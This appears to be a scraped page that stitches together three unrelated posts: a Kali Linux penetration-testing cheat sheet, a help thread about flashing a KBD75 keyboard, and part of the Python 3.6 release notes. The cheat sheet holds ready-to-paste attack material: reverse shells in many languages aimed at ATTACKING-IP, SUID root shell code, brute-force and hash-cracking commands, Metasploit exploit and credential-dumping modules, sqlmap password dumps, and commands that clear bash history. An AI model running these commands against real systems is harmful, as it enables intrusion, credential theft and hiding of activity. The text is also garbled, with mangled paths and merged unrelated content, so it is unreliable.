mount -t cifs -o username=user,password=pass ,domain=blah //192.168.1.X/share-name /mnt/cifs - Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)
net use Z: \win-server\share password /user:domain\janedoe /savecred /p:no - Mount a Windows share on Windows from the command line
apt-get install smb4k -y - Install smb4k on Kali, useful Linux GUI for browsing SMB shares

Basic Finger Printing

nc -v 25 - telnet 25 - Basic versioning / finger printing via displayed banner

SNMP Enumeration

nmpcheck -t 192.168.1.X -c public snmpwalk -c public -v1 192.168.1.X 1 | grep hrSWRunName | cut -d* * -f
snmpenum -t 192.168.1.X
onesixtyone -c names -i hosts

DNS Zone Transfers

nslookup -> set type=any -> ls -d - Windows DNS zone transfer
dig axfr - Linux DNS zone transfer


dnsrecon -d TARGET -D /usshare/wordlists/dnsmap.txt -t std --xml ouput.xml

HTTP / HTTPS Webserver Enumeration

nikto -h - Perform a nikto scan against target
dirbuster - Configure via GUI, CLI input doesn't work most of the time

Packet Inspection

tcpdump tcp port 80 -w output.pcap -i eth0 - tcpdump for port 80 on interface eth0, outputs to output.pcap

Username Enumeration

python /usshare/doc/python-impacket-doc/examples / 192.168.XXX.XXX - Enumerate users from SMB 192.168.XXX.XXX 500 50000 dict.txt - RID cycle SMB / enumerate users from SMB

SNMP User Enumeration

snmpwalk public -v1 192.168.X.XXX 1 |grep |cut -d” “ -f4 - Enmerate users from SNMP
python /usshare/doc/python-impacket-doc/examples/ SNMP 192.168.X.XXX - Enmerate users from SNMP
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt (then grep) - Search for SNMP servers with nmap, grepable output


/usshare/wordlists - Kali word lists

Brute Forcing Services

Hydra FTP Brute Force

hydra -l USERNAME -P /usshare/wordlistsnmap.lst -f 192.168.X.XXX ftp -V - Hydra FTP brute force

Hydra POP3 Brute Force

hydra -l USERNAME -P /usshare/wordlistsnmap.lst -f 192.168.X.XXX pop3 -V - Hydra POP3 brute force

Hydra SMTP Brute Force

hydra -P /usshare/wordlistsnmap.lst 192.168.X.XXX smtp -V - Hydra SMTP brute force

Password Cracking

John The Ripper - JTR
john --wordlist=/usshare/wordlists/rockyou.txt hashes - JTR password cracking
john --format=descrypt --wordlist /usshare/wordlists/rockyou.txt hash.txt - JTR forced descrypt cracking with wordlist
john --format=descrypt hash --show - JTR forced descrypt brute force cracking

Exploit Research

searchsploit windows 2003 | grep -i local - Search exploit-db for exploit, in this example windows 2003 + local esc exploit kernel <= 3 - Use google to search for exploits
grep -R "W7" /usshare/metasploit-framework /modules/exploit/windows/* - Search metasploit modules using grep - msf search sucks a bit

Linux Penetration Testing Commands

Linux Network Commands

netstat -tulpn - Show Linux network ports with process ID's (PIDs)
watch ss -stplu - Watch TCP, UDP open ports in real time with socket summary.
lsof -i - Show established connections.
macchanger -m MACADDR INTR - Change MAC address on KALI Linux.
ifconfig eth0 - Set IP address in Linux.
ifconfig eth0:1 - Add IP address to existing network interface in Linux.
ifconfig eth0 hw ether MACADDR - Change MAC address in Linux using ifconfig.
ifconfig eth0 mtu 1500 - Change MTU size Linux using ifconfig, change 1500 to your desired MTU.
dig -x - Dig reverse lookup on an IP address.
host - Reverse lookup on an IP address, in case dig is not installed.
dig @ -t AXFR - Perform a DNS zone transfer using dig.
host -l nameserver - Perform a DNS zone transfer using host.
nbtstat -A x.x.x.x - Get hostname for IP address.
ip addr add dev eth0 - Adds a hidden IP address to Linux, does not show up when performing an ifconfig.
tcpkill -9 host - Blocks access to from the host machine.
echo "1" > /proc/sys/net/ipv4/ip_forward - Enables IP forwarding, turns Linux box into a router - handy for routing traffic through a box.
echo "" > /etc/resolv.conf - Use Google DNS.

System Information Commands

Useful for local enumeration.

whoami - Shows currently logged in user on Linux.
id - Shows currently logged in user and groups for the user.
last - Shows last logged in users.
mount - Show mounted drives.
df -h - Shows disk usage in human readable output.
echo "user:passwd" | chpasswd - Reset password in one line.
getent passwd - List users on Linux.
strings /uslocal/bin/blah - Shows contents of none text files, e.g. whats in a binary.
uname -ar - Shows running kernel version.
PATH=$PATH:/my/new-path - Add a new PATH, handy for local FS manipulation.
history - Show bash history, commands the user has entered previously.

Redhat / CentOS / RPM Based Distros

cat /etc/redhat-release - Shows Redhat / CentOS version number.
rpm -qa - List all installed RPM's on an RPM based Linux distro.
rpm -q --changelog openvpn - Check installed RPM is patched against CVE, grep the output for CVE.

YUM Commands

Package manager used by RPM based systems, you can pull #some usefull information about installed packages and #or install additional tools.

yum update - Update all RPM packages with YUM, also shows whats out of date.
yum update httpd - Update individual packages, in this example HTTPD (Apache).
yum install package - Install a package using YUM.
yum --exclude=package kernel* update - Exclude a package from being updates with YUM.
yum remove package - Remove package with YUM.
yum erase package - Remove package with YUM.
yum list package - Lists info about yum package.
yum provides httpd - What a packages does, e.g Apache HTTPD Server.
yum info httpd - Shows package info, architecture, version etc.
yum localinstall blah.rpm - Use YUM to install local RPM, settles deps from repo.
yum deplist package - Shows deps for a package.
yum list installed | more - List all installed packages.
yum grouplist | more - Show all YUM groups.
yum groupinstall 'Development Tools' - Install YUM group.

Debian / Ubuntu / .deb Based Distros

cat /etc/debian_version - Shows Debian version number.
cat /etc/*-release - Shows Ubuntu version number.
dpkg -l - List all installed packages on Debian / .deb based Linux distro. Linux User Management
useradd new-user - Creates a new Linux user.
passwd username - Reset Linux user password, enter just passwd if you are root.
deluser username - Remove a Linux user.

Linux Decompression Commands

How to extract various archives (tar, zip, gzip, bzip2 #etc) on Linux and some other tricks for searching #inside of archives etc.

unzip - Extracts zip file on Linux.
zipgrep *.txt - Search inside a .zip archive.
tar xf archive.tar - Extract tar file Linux.
tar xvzf archive.tar.gz - Extract a tar.gz file Linux.
tar xjf archive.tar.bz2 - Extract a tar.bz2 file Linux.
tar ztvf file.tar.gz | grep blah - Search inside a tar.gz file.
gzip -d archive.gz - Extract a gzip file Linux.
zcat archive.gz - Read a gz file Linux without decompressing.
zless archive.gz - Same function as the less command for .gz archives.
zgrep 'blah' /valog/maillog*.gz - Search inside .gz archives on Linux, search inside of compressed log files.
vim file.txt.gz - Use vim to read .txt.gz files (my personal favorite).
upx -9 -o output.exe input.exe - UPX compress .exe file Linux.

Linux Compression Commands

zip -r /di* - Creates a .zip file on Linux.
tar cf archive.tar files - Creates a tar file on Linux.
tar czf archive.tar.gz files - Creates a tar.gz file on Linux.
tar cjf archive.tar.bz2 files - Creates a tar.bz2 file on Linux.
gzip file - Creates a file.gz file on Linux.

Linux File Commands

df -h blah - Display size of file / dir Linux.
diff file1 file2 - Compare / Show differences between two files on Linux.
md5sum file - Generate MD5SUM Linux.
md5sum -c blah.iso.md5 - Check file against MD5SUM on Linux, assuming both file and .md5 are in the same dir.
file blah - Find out the type of file on Linux, also displays if file is 32 or 64 bit.
dos2unix - Convert Windows line endings to Unix / Linux.
base64 < input-file > output-file - Base64 encodes input file and outputs a Base64 encoded file called output-file.
base64 -d < input-file > output-file - Base64 decodes input file and outputs a Base64 decoded file called output-file.
touch -r ref-file new-file - Creates a new file using the timestamp data from the reference file, drop the -r to simply create a file.
rm -rf - Remove files and directories without prompting for confirmation.

Samba Commands

Connect to a Samba share from Linux.

$ smbmount //serveshare /mnt/win -o user=username,password=password1 $ smbclient -U user \\server\share $ mount -t cifs -o username=user,password=password //x.x.x.x/share /mnt/share

Breaking Out of Limited Shells

Credit to G0tmi1k for these (or wherever he stole them from!).

The Python trick:

python -c 'import pty;pty.spawn("/bin/bash")' echo os.system('/bin/bash') /bin/sh -i

Misc Commands

init 6 - Reboot Linux from the command line.
gcc -o output.c input.c - Compile C code.
gcc -m32 -o output.c input.c - Cross compile C code, compile 32 bit binary on 64 bit Linux.
unset HISTORYFILE - Disable bash history logging.
rdesktop X.X.X.X - Connect to RDP server from Linux.
kill -9 $$ - Kill current session.
chown user:group blah - Change owner of file or dir.
chown -R user:group blah - Change owner of file or dir and all underlying files / dirs - recersive chown.
chmod 600 file - Change file / dir permissions, see Linux File System Permissons for details.
Clear bash history - $ ssh [email protected] | cat /dev/null > ~/.bash_history

Linux File System Permissions

777 rwxrwxrwx No restriction, global WRX any user can do anything.
755 rwxr-xr-x Owner has full access, others can read and execute the file.
700 rwx------ Owner has full access, no one else has access.
666 rw-rw-rw- All users can read and write but not execute.
644 rw-r--r-- Owner can read and write, everyone else can read.
600 rw------- Owner can read and write, everyone else has no access.

Linux File System

/ - also know as "slash" or the root.
/bin - Common programs, shared by the system, the system administrator and the users.
/boot - Boot files, boot loader (grub), kernels, vmlinuz
/dev - Contains references to system devices, files with special properties.
/etc - Important system config files.
/home - Home directories for system users.
/lib - Library files, includes files for all kinds of programs needed by the system and the users.
/lost+found - Files that were saved during failures are here.
/mnt - Standard mount point for external file systems.
/media - Mount point for external file systems (on some distros).
/net - Standard mount point for entire remote file systems - nfs.
/opt - Typically contains extra and third party software.
/proc - A virtual file system containing information about system resources.
/root - root users home dir.
/sbin - Programs for use by the system and the system administrator.
/tmp - Temporary space for use by the system, cleaned upon reboot.
/usr -Programs, libraries, documentation etc. for all user-related programs.
/var - Storage for all variable files and temporary files created by users, such as log files, mail queue, print spooler. Web servers, Databases etc.

Linux Interesting Files / Dir’s

Places that are worth a look if you are attempting to #privilege escalate / perform post exploitation.

Directory Description

/etc/passwd - Contains local Linux users.
/etc/shadow - Contains local account password hashes.
/etc/group - Contains local account groups.
/etc/init.d/ - Contains service init script - worth a look to see whats installed.
/etc/hostname - System hostname.
/etc/network/interfaces - Network interfaces.
/etc/resolv.conf - System DNS servers.
/etc/profile - System environment variables.
~/.ssh/ - SSH keys.
~/.bash_history - Users bash history log.
/valog/ - Linux system log files are typically stored here.
/vaadm/ - UNIX system log files are typically stored here.
/valog/apache2/access.log & /valog/httpd/access.log - Apache access log file typical path.
/etc/fstab - File system mounts.

Compiling Exploits

Identifying if C code is for Windows or Linux

C #includes will indicate which OS should be used to build the exploit.
process.h, string.h, winbase.h, windows.h, winsock2.h - Windows exploit code
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, sys/sockt.h, sys/types.h, unistd.h - Linux exploit code

Build Exploit GCC

gcc -o exploit exploit.c - Basic GCC compile

GCC Compile 32Bit Exploit on 64Bit Kali

Handy for cross compiling 32 bit binaries on 64 bit attacking machines.

gcc -m32 exploit.c -o exploit - Cross compile 32 bit binary on 64 bit Linux

Compile Windows .exe on Linux

i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe - Compile windows .exe on Linux

SUID Binary

Often SUID C binary files are required to spawn a shell #as a superuser, you can update the UID / GID and shell #as required.

below are some quick copy and pate examples for #various #shells:

SUID C Shell for /bin/bash

int main(void){ setresuid(0, 0, 0); system("/bin/bash"); }

SUID C Shell for /bin/sh

int main(void){ setresuid(0, 0, 0); system("/bin/sh"); }

Building the SUID Shell binary

gcc -o suid suid.c
gcc -m32 -o suid suid.c - for 32bit

Setup Listening Netcat

Your remote shell will need a listening netcat instance #in order to connect back.

Set your Netcat listening shell on an allowed port

Use a port that is likely allowed via outbound firewall #rules on the target network, e.g. 80 / 443

To setup a listening netcat instance, enter the #following:

[email protected]:~# nc -nvlp 80 nc: listening on :: 80 ... nc: listening on 80 ...

NAT requires a port forward

If you're attacking machine is behing a NAT router, #you'll need to setup a port forward to the attacking #machines IP / Port.

ATTACKING-IP is the machine running your listening #netcat session, port 80 is used in all examples below #(for reasons mentioned above).

Bash Reverse Shells

exec /bin/bash 0&0 2>&0
0<&196;exec 196<>/dev/tcp/ATTACKING-IP/80; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/ATTACKING-IP/80 cat <&5 | while read line; do $line 2>&5 >&5; done


while read line 0<&5; do $line 2>&5 >&5; done
bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1

PHP Reverse Shell

php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");' (Assumes TCP uses file descriptor 3. If it doesn't work, try 4,5, or 6)
Netcat Reverse Shell
nc -e /bin/sh ATTACKING-IP 80
/bin/sh | nc ATTACKING-IP 80
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p

Telnet Reverse Shell

rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443

Remember to listen on 443 on the attacking machine also.

Perl Reverse Shell

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl Windows Reverse Shell

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby Reverse Shell

ruby -rsocket -e'"ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java Reverse Shell

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()

Python Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

Gawk Reverse Shell

!/usbin/gawk -f

BEGIN { Port = 8080 Prompt = "bkd> "
 Service = "/inet/tcp/" Port "/0/0" while (1) { do { printf Prompt |& Service Service |& getline cmd if (cmd) { while ((cmd |& getline) > 0) print $0 |& Service close(cmd) } } while (cmd != "exit") close(Service) } 

Kali Web Shells

The following shells exist within Kali Linux, under /#usshare/webshells/ these are only useful if you are #able to upload, inject or transfer the shell to the #machine.

Kali PHP Web Shells

/usshare/webshells/php/php-reverse-shell.php - Pen Test Monkey - PHP Reverse Shell
/usshare/webshells/php/findsock.c - Pen Test Monkey, Findsock Shell. Build gcc -o findsock findsock.c (be mindfull of the target servers architecture), execute with netcat not a browser nc -v target 80
/usshare/webshells/php/simple-backdoor.php - PHP backdoor, usefull for CMD execution if upload / code injection is possible, usage:
/usshare/webshells/php/php-backdoor.php - Larger PHP shell, with a text input box for command execution.

Tip: Executing Reverse Shells

The last two shells above are not reverse shells, #however they can be useful for executing a reverse #shell.

Kali Perl Reverse Shell

/usshare/webshells/perl/ - Pen Test Monkey - Perl Reverse Shell
/usshare/webshells/perl/perlcmd.cgi - Pen Test Monkey, Perl Shell. Usage: /etc/passwd

Kali Cold Fusion Shell

/usshare/webshells/cfm/cfexec.cfm - Cold Fusion Shell - aka CFM Shell

Kali ASP Shell

/usshare/webshells/asp/ - Kali ASP Shells

Kali ASPX Shells

/usshare/webshells/aspx/ - Kali ASPX Shells

Kali JSP Reverse Shell

/usshare/webshells/jsp/jsp-reverse.jsp - Kali JSP Reverse Shell

TTY Shells

Tips / Tricks to spawn a TTY shell from a limited shell #in Linux, useful for running commands like su from #reverse shells.

Python TTY Shell Trick - python -c 'import pty;pty.spawn("/bin/bash")' - echo os.system('/bin/bash')
Spawn Interactive sh shell - /bin/sh -i
Spawn Perl TTY Shell - exec "/bin/sh"; perl —e 'exec "/bin/sh";'
Spawn Ruby TTY Shell - exec "/bin/sh"
Spawn Lua TTY Shell - os.execute('/bin/sh')

Spawn TTY Shell from Vi

Run shell commands from vi: - :!bash
Spawn TTY Shell NMAP - !sh

SSH Port Forwarding

ssh -L 9999: [email protected] - Port 9999 locally is forwarded to port 445 on through host

SSH Port Forwarding with Proxychains

ssh -D [email protected] - Dynamically allows all port forwards to the subnets availble on the target.

Meterpreter Payloads

Windows reverse meterpreter payload

set payload windows/meterpretereverse_tcp - Windows reverse tcp payload

Windows VNC Meterpreter payload

set payload windows/vncinject/reverse_tcp set ViewOnly false - Meterpreter Windows VNC Payload

Linux Reverse Meterpreter payload

set payload linux/meterpretereverse_tcp - Meterpreter Linux Reverse Payload

Meterpreter Cheat Sheet

Useful meterpreter commands.

upload file - c:\windows
Meterpreter upload file to Windows target - download c:\windows\repair\sam /tmp
Meterpreter download file from Windows target - download c:\windows\repair\sam /tmp
Meterpreter download file from Windows target - execute -f c:\windows\temp\exploit.exe
Meterpreter run .exe on target - handy for executing uploaded exploits
execute -f cmd -c - Creates new channel with cmd shell
ps - Meterpreter show processes
shell - Meterpreter get shell on the target
getsystem - Meterpreter attempts priviledge escalation the target
hashdump - Meterpreter attempts to dump the hashes on the target
portfwd add –l 3389 –p 3389 –r target - Meterpreter create port forward to target machine
portfwd delete –l 3389 –p 3389 –r target - Meterpreter delete port forward

Common Metasploit Modules

Top metasploit modules.

Remote Windows Metasploit Modules (exploits)

use exploit/windows/smb/ms08_067_netapi - MS08_067 Windows 2k, XP, 2003 Remote Exploit
use exploit/windows/dcerpc/ms06_040_netapi - MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index - MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit

Local Windows Metasploit Modules (exploits)

use exploit/windows/local/bypassuac - Bypass UAC on Windows 7 + Set target + arch, x86/64

Auxilary Metasploit Modules

use auxiliary/scannehttp/dir_scanner - Metasploit HTTP directory scanner
use auxiliary/scannehttp/jboss_vulnscan - Metasploit JBOSS vulnerability scanner
use auxiliary/scannemssql/mssql_login - Metasploit MSSQL Credential Scanner
use auxiliary/scannemysql/mysql_version - Metasploit MSSQL Version Scanner
use auxiliary/scanneoracle/oracle_login - Metasploit Oracle Login Module

Metasploit Powershell Modules

use exploit/multi/script/web_delivery - Metasploit powershell payload delivery module
post/windows/manage/powershell/exec_powershell - Metasploit upload and run powershell script through a session
use exploit/multi/http/jboss_maindeployer - Metasploit JBOSS deploy
use exploit/windows/mssql/mssql_payload - Metasploit MSSQL payload

Post Exploit Windows Metasploit Modules

run post/windows/gathewin_privs - Metasploit show privileges of current user
use post/windows/gathecredentials/gpp - Metasploit grab GPP saved passwords
load mimikatz -> wdigest - Metasplit load Mimikatz
run post/windows/gathelocal_admin_search_enum - Idenitfy other machines that the supplied domain user has administrative access to

CISCO IOS Commands

A collection of useful Cisco IOS commands.

enable - Enters enable mode
conf t - Short for, configure terminal
(config)# interface fa0/0 - Configure FastEthernet 0/0
(config-if)# ip addr - Add ip to fa0/0
(config-if)# ip addr - Add ip to fa0/0
(config-if)# line vty 0 4 - Configure vty line
(config-line)# login - Cisco set telnet password
(config-line)# password YOUR-PASSWORD - Set telnet password

show running-config - Show running config loaded in memory

show startup-config - Show sartup config

show version - show cisco IOS version

show session - display open sessions

show ip interface - Show network interfaces

show interface e0 - Show detailed interface info

show ip route - Show routes

show access-lists - Show access lists

dir file systems - Show available files

dir all-filesystems - File information

dir /all - SHow deleted files

terminal length 0 - No limit on terminal output

copy running-config tftp - Copys running config to tftp server

copy running-config startup-config - Copy startup-config to running-config


Hash Lengths

MD5 Hash Length - 16 Bytes
SHA-1 Hash Length - 20 Bytes
SHA-256 Hash Length - 32 Bytes
SHA-512 Hash Length - 64 Bytes

SQLMap Examples

sqlmap -u --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3 - Automated sqlmap scan
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/vawww/blah.php" - Targeted sqlmap scan
sqlmap -u "" --dbms=mysql --tech=U --random-agent --dump - Scan url for union + error based injection with mysql backend and use a random user agent + database dump
sqlmap -o -u "" --forms - sqlmap check form for injection
sqlmap -o -u "http://meh/vuln-form" --forms -D database-name -T users --dump - sqlmap dump and crack hashes for table users on database-name
submitted by LubuntuFU to Kalilinux [link] [comments]

[QMK][HELP] New KBD75 can't flash

FIXED Leaving this up so if someone searches they can find the solution. DO NOT USE ANY SPACES IN YOUR FILE NAME. So wherever you save the .hex file of the keyboard layout do not use any spaces and you will not have any problems. Follow the guide linked below and you will not have any issues. Big thankyou to yanfali
This is my first time trying to flash a keyboard, I followed all the steps found here KBD75 + QMK.
So after the first flash attempt with QMK Flasher I get this error message
"Choose .hexFlash When Ready dfu-programmer atmega32u4 erase --force Erasing flash... Success Checking memory from 0x0 to 0x6FFF... Empty. dfu-programmer atmega32u4 flash C:\Users\DaneG\Documents\KBD75 layout\kbd75hhkb.hex dfu-programmer 0.7.0 Usage: dfu-programmer target[:usb-bus,usb-addr] command [options] [global-options] [file|data] global-options: --quiet --debug level (level is an integer specifying level of detail)
Global options can be used with any command and must come after the command and before any file or data value
command summary: launch [--no-reset] read [--force] [--bin] [(flash)|--user|--eeprom] erase [--force] [--suppress-validation] flash [--force] [(flash)|--user|--eeprom] [--suppress-validation] [--suppress-bootloader-mem] [--serial=hexdigits:offset] {file|STDIN} setsecure configure {BSB|SBV|SSB|EB|HSB} [--suppress-validation] data get {bootloader-version|ID1|ID2|BSB|SBV|SSB|EB| manufacturer|family|product-name| product-revision|HSB} getfuse {LOCK|EPFL|BOOTPROT|BODLEVEL|BODHYST| BODEN|ISP_BOD_EN|ISP_IO_COND_EN| ISP_FORCE} setfuse {LOCK|EPFL|BOOTPROT|BODLEVEL|BODHYST| BODEN|ISP_BOD_EN|ISP_IO_COND_EN| ISP_FORCE} data
additional details: launch: Launch from the bootloader into the main program using a watchdog reset. To jump directly into the main program use --no-reset. read: Read the program memory in flash and output non-blank pages in ihex format. Use --force to output the entire memory and --bin for binary output. User page and eeprom are selected using --user and --eprom erase: Erase memory contents if the chip is not blank or always with --force flash: Flash a program onto device flash memory. EEPROM and user page are selected using --eeprom|--user flags. Use --force to ignore warning when data exists in target memory region. Bootloader configuration uses last 4 to 8 bytes of user page, --force always required here. Note: version 0.6.1 commands still supported. An error occurred - please try again."
After this QMK Flasher allows me to try and flash the keyboard over and over even after unplugging and replugging the USB. My KBD75 does not light up or register keystrokes when plugged in, it seems like it is stuck in bootloader mode. It may be relevant that before installing the drivers my keyboard registers as 'ATm32UDFU'. After installing the drivers it is 'ATmega32u4'.
The KBDfans website says that these are R6 and the PCB is white, I haven't checked for the manual reset button on the PCB yet but I will start taking apart the keyboard after posting this to see if that will solve the issue. That same guide linked above mentioned that some KBD75 were only flashable with Bootmapper Client but when I tried to 'Download' the layout or 'Toggle Bootmapper' in the program I get this error message "Error opening ps2avrGB device: The specified device was not found". Not sure if this means my PCB won't work with Bootmapper Client or just the keyboard is already in bootloader so the program cannot detect the layout or put it into bootloader again. I have never used this program either but after the error message I have no tried to create a layout and flash it. Without being able to detect the keyboard I am not sure how to do it manually by just the rows and columns.
Sorry for the wall of text, any help would be much appreciated as my new board is now a pretty brick :).
TLDR; New KBD75 seems stuck in bootloader after first flash attempt with QMK Flasher. PC still detects it.
*UPDATE* I took apart the case and tried manually resetting the PCB. It doesn't change anything, once I reset it the PC detects the keyboard like usual and QMK Flasher lets me flash the keyboard again to no effect.
submitted by OleDaneBoy to olkb [link] [comments]

3.6 release Python (Part 2)

SSL session can be copied from one client-side connection to another with the new SSLSession class. TLS session resumption can speed up the initial handshake, reduce latency and improve performance (Contributed by Christian Heimes in bpo-19500 based on a draft by Alex Warhawk.)
The new get_ciphers() method can be used to get a list of enabled ciphers in order of cipher priority. All constants and flags have been converted to IntEnum and IntFlags. (Contributed by Christian Heimes in bpo-28025.)
Server and client-side specific TLS protocols for SSLContext were added. (Contributed by Christian Heimes in bpo-28085.)


A new harmonic_mean() function has been added. (Contributed by Steven D’Aprano in bpo-27181.)


struct now supports IEEE 754 half-precision floats via the 'e' format specifier. (Contributed by Eli Stevens, Mark Dickinson in bpo-11734.)


subprocess.Popen destructor now emits a ResourceWarning warning if the child process is still running. Use the context manager protocol (with proc: ...) or explicitly call the wait() method to read the exit status of the child process. (Contributed by Victor Stinner in bpo-26741.) The subprocess.Popen constructor and all functions that pass arguments through to it now accept encoding and errors arguments. Specifying either of these will enable text mode for the stdin, stdout and stderr streams. (Contributed by Steve Dower in bpo-6135.)


The new getfilesystemencodeerrors() function returns the name of the error mode used to convert between Unicode filenames and bytes filenames. (Contributed by Steve Dower in bpo-27781.) On Windows the return value of the getwindowsversion() function now includes the platform_version field which contains the accurate major version, minor version and build number of the current operating system, rather than the version that is being emulated for the process (Contributed by Steve Dower in bpo-27932.)


Telnet is now a context manager (contributed by Stéphane Wirtel in bpo-25485). time
The struct_time attributes tm_gmtoff and tm_zone are now available on all platforms. timeit
The new Timer.autorange() convenience method has been added to call Timer.timeit() repeatedly so that the total run time is greater or equal to 200 milliseconds. (Contributed by Steven D’Aprano in bpo-6422.)
timeit now warns when there is substantial (4x) variance between best and worst times. (Contributed by Serhiy Storchaka in bpo-23552.)


Added methods trace_add(), trace_remove() and trace_info() in the tkinter.Variable class. They replace old methods trace_variable(), trace(), trace_vdelete() and trace_vinfo() that use obsolete Tcl commands and might not work in future versions of Tcl. (Contributed by Serhiy Storchaka in bpo-22115).


Both the traceback module and the interpreter’s builtin exception display now abbreviate long sequences of repeated lines in tracebacks as shown in the following example:
def f(): f()...>>> f()Traceback (most recent call last):
File "", line 1, in
File "", line 1, in f
File "", line 1, in f
File "", line 1, in f [Previous line repeated 995 more times]RecursionError:
maximum recursion depth exceeded (Contributed by Emanuel Barry in bpo-26823.) tracemalloc The tracemalloc module now supports tracing memory allocations in multiple different address spaces. The new DomainFilter filter class has been added to filter block traces by their address space (domain). (Contributed by Victor Stinner in bpo-26588.) typing Since the typing module is provisional, all changes introduced in Python 3.6 have also been backported to Python 3.5.x. The typing module has a much improved support for generic type aliases. For example Dict[str, Tuple[S, T]] is now a valid type annotation. (Contributed by Guido van Rossum in Github #195.) The typing.ContextManager class has been added for representing contextlib.AbstractContextManager. (Contributed by Brett Cannon in bpo-25609.) The typing.Collection class has been added for representing (Contributed by Ivan Levkivskyi in bpo-27598.) The typing.ClassVar type construct has been added to mark class variables. As introduced in PEP 526, a variable annotation wrapped in ClassVar indicates that a given attribute is intended to be used as a class variable and should not be set on instances of that class. (Contributed by Ivan Levkivskyi in Github #280.) A new TYPE_CHECKING constant that is assumed to be True by the static type chekers, but is False at runtime. (Contributed by Guido van Rossum in Github #230.) A new NewType() helper function has been added to create lightweight distinct types for annotations:
from typing import NewType
UserId = NewType('UserId', int)some_id = UserId(524313) The static type checker will treat the new type as if it were a subclass of the original type. (Contributed by Ivan Levkivskyi in Github #189.) unicodedata The unicodedata module now uses data from Unicode 9.0.0. (Contributed by Benjamin Peterson.) unittest.mock The Mock class has the following improvements: Two new methods, Mock.assert_called() and Mock.assert_called_once() to check if the mock object was called. (Contributed by Amit Saha in bpo-26323.) The Mock.reset_mock() method now has two optional keyword only arguments: return_value and side_effect. (Contributed by Kushal Das in bpo-21271.) urllib.request If a HTTP request has a file or iterable body (other than a bytes object) but no Content-Length header, rather than throwing an error, AbstractHTTPHandler now falls back to use chunked transfer encoding. (Contributed by Demian Brecht and Rolf Krahl in bpo-12319.) urllib.robotparser RobotFileParser now supports the Crawl-delay and Request-rate extensions. (Contributed by Nikolay Bogoychev in bpo-16099.) venv venv accepts a new parameter --prompt. This parameter provides an alternative prefix for the virtual environment. (Proposed by Łukasz Balcerzak and ported to 3.6 by Stéphane Wirtel in bpo-22829.) warnings A new optional source parameter has been added to the warnings.warn_explicit() function: the destroyed object which emitted a ResourceWarning. A source attribute has also been added to warnings.WarningMessage (contributed by Victor Stinner in bpo-26568 and bpo-26567). When a ResourceWarning warning is logged, the tracemalloc module is now used to try to retrieve the traceback where the destroyed object was allocated. Example with the script
import warnings
def func():
return open(__file__) 
f = func()f = None Output of the command python3.6 -Wd -X tracemalloc=5 ResourceWarning: unclosed file <_io.TextIOWrapper
name='' mode='r' encoding='UTF-8'>
f = NoneObject allocated at (most recent call first):
File "", lineno 4
return open(__file__) 
File "", lineno 6
f = func() 
The “Object allocated at” traceback is new and is only displayed if tracemalloc is tracing Python memory allocations and if the warnings module was already imported.


Added the 64-bit integer type REG_QWORD. (Contributed by Clement Rouault in bpo-23026.)


Allowed keyword arguments to be passed to Beep, MessageBeep, and PlaySound (bpo-27982). xmlrpc.client
The xmlrpc.client module now supports unmarshalling additional data types used by the Apache XML-RPC implementation for numerics and None. (Contributed by Serhiy Storchaka in bpo-26885.) zipfile
A new ZipInfo.from_file() class method allows making a ZipInfo instance from a filesystem file. A new ZipInfo.is_dir() method can be used to check if the ZipInfo instance represents a directory. (Contributed by Thomas Kluyver in bpo-26039.)
The method can now be used to write data into a ZIP file, as well as for extracting data. (Contributed by Thomas Kluyver in bpo-26039.)


The compress() and decompress() functions now accept keyword arguments. (Contributed by Aviv Palivoda in bpo-26243 and Xiang Zhang in bpo-16764 respectively.)


  • The Python interpreter now uses a 16-bit wordcode instead of bytecode which made a number of opcode optimizations possible. (Contributed by Demur Rumed with input and reviews from Serhiy Storchaka and Victor Stinner in bpo-26647 and bpo-28050.)
  • The asyncio.Future class now has an optimized C implementation. (Contributed by Yury Selivanov and INADA Naoki in bpo-26081.)
  • The asyncio.Task class now has an optimized C implementation. (Contributed by Yury Selivanov in bpo-28544.)
  • Various implementation improvements in the typing module (such as caching of generic types) allow up to 30 times performance improvements and reduced memory footprint.
  • The ASCII decoder is now up to 60 times as fast for error handlers surrogateescape, ignore and replace (Contributed by Victor Stinner in bpo-24870).
  • The ASCII and the Latin1 encoders are now up to 3 times as fast for the error handler surrogateescape (Contributed by Victor Stinner in bpo-25227).
